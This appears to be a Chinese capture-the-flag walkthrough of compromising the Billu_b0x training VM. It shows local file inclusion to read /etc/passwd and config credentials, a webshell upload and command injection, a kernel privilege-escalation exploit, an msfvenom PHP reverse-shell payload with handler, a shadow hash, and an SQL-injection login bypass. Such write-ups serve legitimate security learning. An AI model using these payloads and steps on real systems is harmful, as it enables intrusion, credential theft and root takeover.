Billu_b0x渗透实战

Billu_b0x渗透这个靶机也是断断续续地耗时了近两天的时间,其中也遇到了一些难题,这个靶机很适合我们这种初级的学习者,其中不乏趣味性,也有点难度,但总体思路是清晰的,有兴趣的同学不妨试试。——阿镇AZhen

主机发现和信息收集

arp-scan -l
Billu_b0x渗透实战_第1张图片
1547521534049.png
nmap -sS -A -Pn -p- -n 192.168.8.129
Billu_b0x渗透实战_第2张图片
1547521675706.png

WEB渗透

Billu_b0x渗透实战_第3张图片
1547521795082.png

Show me your SQLI skills
看来这个靶机是考验SQL注入的

1' and '1'='1 -- -
1" or "1"="1 #
1'> and <'1'>=<'1 -- -

构造各种注入,sqlmap -r 跑包,开到level 5,还是没有找到注入点

注入无望了。。。

dir爆目录

Billu_b0x渗透实战_第4张图片

可疑目录有很多:

http://192.168.8.129:80/uploaded_images/
http://192.168.8.129/uploaded_images/c.JPG
http://192.168.8.129:80/phpmy/
http://192.168.8.129:80/server-status/
http://192.168.8.129:80/in.php
http://192.168.8.129:80/c.php
http://192.168.8.129:80/add.php
http://192.168.8.129:80/test.php
……

看到了很多图片和php,以为是马
尝试了c.php,密码:c 但是菜刀连接不上
1、爆出来的目录中发现了phpinfo和phpmyadmin
http://192.168.8.129/in.php
http://192.168.8.129:80/phpmy/

Billu_b0x渗透实战_第5张图片
1547536002772.png

Billu_b0x渗透实战_第6张图片
1547539775550.png

发现了 allow_url_fopen on

想到了本地文件包含、读取

phpmyadmin登录,先别爆破。。。

Billu_b0x渗透实战_第7张图片
1547538518064.png

2、还发现了 http://192.168.8.129/add.php 图片文件上传
1547523872520.png

直接上图片马试试,图片上传没有回显

3、发现了一个特殊的test.php : http://192.168.8.129:80/test.php

1547537961330.png

提示了文件file的参数为空,想必是 文件包含


文件包含

POST包含读取/etc/passwd

想直接一步到位读取/etc/passwd

http://192.168.8.129/test.php?file=../../../../../etc/passwd

无法成功

尝试一下post模式,在file中用hackbar,post参数 file=../../../../../etc/passwd

Billu_b0x渗透实战_第8张图片
1547540031969.png

发现成功读取到passwd文件,down下来


Billu_b0x渗透实战_第9张图片
1547540094422.png

在本地打开passwd


Billu_b0x渗透实战_第10张图片
1547540272718.png

发现了root和ica用户可以登录ssh


POST读取其他php文件

通过burp截包后右键选择

change request method

改为POST重放,可以读取到本地的文件:

1、/etc/passwd

Billu_b0x渗透实战_第11张图片
image.png

2、试试之前被我怀疑为小马的c.php:


Billu_b0x渗透实战_第12张图片

竟然不是马,而是config.php。可以看到:

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

拿到了登录数据库(ica_lab)的账号密码:billu,b0x_billu

登录一下phpmyadmin:http://192.168.8.129:80/phpmy 成功

ica_lab.auth表中发现了账号: biLLu , 密码:hEx_it

这个应该就是首页登录的用户名和密码。

Billu_b0x渗透实战_第13张图片
image.png

3、想看看上传界面 http://192.168.8.129/add.php 的源码,构造一下上传小马提权
Billu_b0x渗透实战_第14张图片
image.png

发现就一纯静态的网页,枉费我尝试了那么久


上传图片马

账号: biLLu , 密码:hEx_it

登录 http://192.168.8.129


Billu_b0x渗透实战_第15张图片
image.png

发现了文件上传界面,这次是真的了

先用文件包含down下来审计一下panel.php的源码,好构造上传小马


Billu_b0x渗透实战_第16张图片
image.png

很明显,存在文件包含漏洞,上传一句话图片马,再用菜刀连接


image.png

Billu_b0x渗透实战_第17张图片
image.png

上传成功后,可以看到
Billu_b0x渗透实战_第18张图片
image.png

文件包含getshell

上传的图片的路径为:

http://192.168.8.129/uploaded_images/tnt.jpg

用panel.php或者test.php文件包含它:

file=uploaded_images/tnt.jpg

忽略panel.php或者test.php包含的文件只能以POST访问到,菜刀没法连接


换个思路

1、上传一个cmd命令执行图片马,然后进行写入一句话,菜刀连接提权。

在cmd.jsp图片中插入一句话cmd命令马 :


2、使用burp执行命令:用POST请求执行cmd命令:POST /panel.php?cmd=cat /etc/passwd

POST的body中包含cmd.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

成功执行命令cat /etc/passwd,原网页全部乱码,直接右键查看源代码能显示passwd文件 cat /etc/passwd。

Billu_b0x渗透实战_第19张图片
image.png

3、执行cmd命令 ls -la查看那个目录能够写文件, 通过写入一个小马文件,利用菜刀连接
Billu_b0x渗透实战_第20张图片
image.png

发现了uploaded_images可写,在hackbar中直接以POST方式写一句话到/uploaded_images下的shell.php

http://192.168.8.129/panel.php?cmd=echo '' >> uploaded_images/shell.php

load=/uploaded_images/cmd.jpg&continue=continue
Billu_b0x渗透实战_第21张图片
image.png

cat uploaded_images/shell.php

可以看到已经成功写入一句话木马到shell.php


Billu_b0x渗透实战_第22张图片
image.png

4、菜刀连接shell.php

路径:http://192.168.8.129/uploaded_images/shell.php 密码:mm

连接成功


Billu_b0x渗透实战_第23张图片
image.png

Billu_b0x渗透实战_第24张图片
image.png

提权

uname -acat /etc/issus查看系统的版本信息和内核为:Ubuntu 12.04.5 LTS、Linux indishell 3.13.0-32-generic

Billu_b0x渗透实战_第25张图片
image.png

在kali中searchsploit Ubuntu 12.04

Billu_b0x渗透实战_第26张图片
image.png

选择相应的linux版本,将exp拷贝到根路径下:

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/

赋予执行权限 chmod 777 37292.c

在kali本机上gcc编译后生成exp gcc 37292.c -o exp

Billu_b0x渗透实战_第27张图片
image.png

将当前目录下生成的exp用菜刀上传至靶机上直接运行

Billu_b0x渗透实战_第28张图片
image.png

屡次提权失败,不知道原因,既然菜刀都连上了,不妨用kaili生成后门,正好学习一下

看到当前目录通篇都是php环境,很自然想到用msfvenom生成一个php后门,菜刀上传,触发它反弹再提权

msfvenom  -p  php/meterpreter/reverse_tcp LHOST=192.168.8.253 -f raw >/root/桌面/share/sha.php

开启msf配置好handler:

use exploit/multi/handler
set lhost 192.168.8.253
set payload php/meterpreter/reverse_tcp
run

触发后门:http://192.168.8.129/uploaded_images/sha.php

Billu_b0x渗透实战_第29张图片
image.png

反弹拿到shell,直接运行之前编译好的exp提取

Billu_b0x渗透实战_第30张图片
image.png

提权成功

想破解一下另外一个用户ica的ssh密码

cat /etc/shadow
image.png
ica:$6$yAfsVVEV$UMXZ7KKc2Xhk6tTukMl.QkFN34d/PLRtKYZCFZzZKFyym3uzhVcWongiw1RIFtGJQyJL2a8vAwG13VHijFbzM.:17244:0:99999:7:::

这串拿去john解一下,没解出来,算了

Billu_b0x渗透实战_第31张图片
image.png

方法二

已知test.php能够包含并读取本地文件,

那不妨利用http://192.168.8.129/test.php?file=xx继续包含

1、继续爆目录,从/phpmy开始爆

一般来说phpmyadmin的默认的配置文件是:config.inc.php

在linux主机的apach中猜测路径默认在/var/www/phpmy下面

2、采用POST模式包含该配置文件,通过文件包含,读取config.inc.php文件


Billu_b0x渗透实战_第32张图片
image.png

down下来后,打开查看:


Billu_b0x渗透实战_第33张图片
image.png

uses:root

password:roottoor

直接以root登录ssh

ssh [email protected]
Billu_b0x渗透实战_第34张图片
image.png

方法三

用test.php去包含首页登录的index.php,审计源码,进行sql注入绕过

Billu_b0x渗透实战_第35张图片
image.png

源码中:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

sql注入一个重要的原则就是闭合输入查询,str_replace的作用是将字符串' 替换为空,因此构造SQL注入登录payload时,必须含有'字符串,urldecode的作用是将输入解码。

构造sql注入语句闭合绕过登录:

'or 1=1-- -\'

在线的php调试工具测试通过

Billu_b0x渗透实战_第36张图片
image.png

用payload:'or 1=1-- -\'成功绕过登录

Billu_b0x渗透实战_第37张图片
image.png

之后进行上马,文件包含,读文件,反弹shell提权操作。

总结

1、在web首页登录入口处,提示了SQL注入绕过,但由于不知道源码,无法闭合输入进行绕过,直接用sqlmap -r跑包也没有注出来,也不应该在此处浪费太多时间。
2、一般来说,在web渗透之前先做好信息收集工作,用dir跑目录,能够得到一些意想不到的信息,比如test.php和phpmy.php、phpinfo等,同时也不要忘记右键源码的重要性。
3、本次渗透的重点是文件包含,在in.php中看到的allow_url_fopen 是on,还有在test.php看到提示了file这个参数,很自然要想到文件包含;当然尝试了很多GET形式去读文件,都没效果,这里也是一个难点,可以尝试用POST方式去读文件。
4、接下来有多种方法,可以一步到位地读取config.ini.php这个存放数据库连接的root用户和密码,直接登录root,这仅局限于有权限读的情况下。同时根据首页的SQL注入绕过,可以审计index.php的源码,进行构造payload绕过登录。
5、在登录首页后,审计panel.php的源码发现还有文件包含,那就可以直接包含上传的图片马,这里也是一个关键点,由于GET形式无法包含成功,可以想到上传命令执行cmd马进行操作,之后采用hackbar或者burp进行POST写入一句话文件,菜刀连接。
6、查看靶机系统的内核和版本信息,一般在kali查找相应的exp,用菜刀上传提权,但遇到反弹不成功,所以另辟蹊径,采用msfvenom生成php后门,触发反弹提权。

Billu_b0x靶机下载百度云
链接:https://pan.baidu.com/s/1_J1ChwspxeBGTYvv0NGVCw
提取码:88yo

你可能感兴趣的:(Billu_b0x渗透实战)